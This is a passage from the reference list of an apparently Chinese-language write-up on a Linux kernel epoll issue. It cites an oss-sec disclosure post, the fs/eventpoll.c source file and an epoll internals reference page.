  7. oss-sec 邮件列表披露:https://seclists.org/oss-sec/2026/q3/105
  8. 内核源码 fs/eventpoll.c:https://codebrowser.dev/linux/linux/fs/eventpoll.c.html
  9. epoll 内核内部机制参考:https://kernel-internals.org/net/epoll/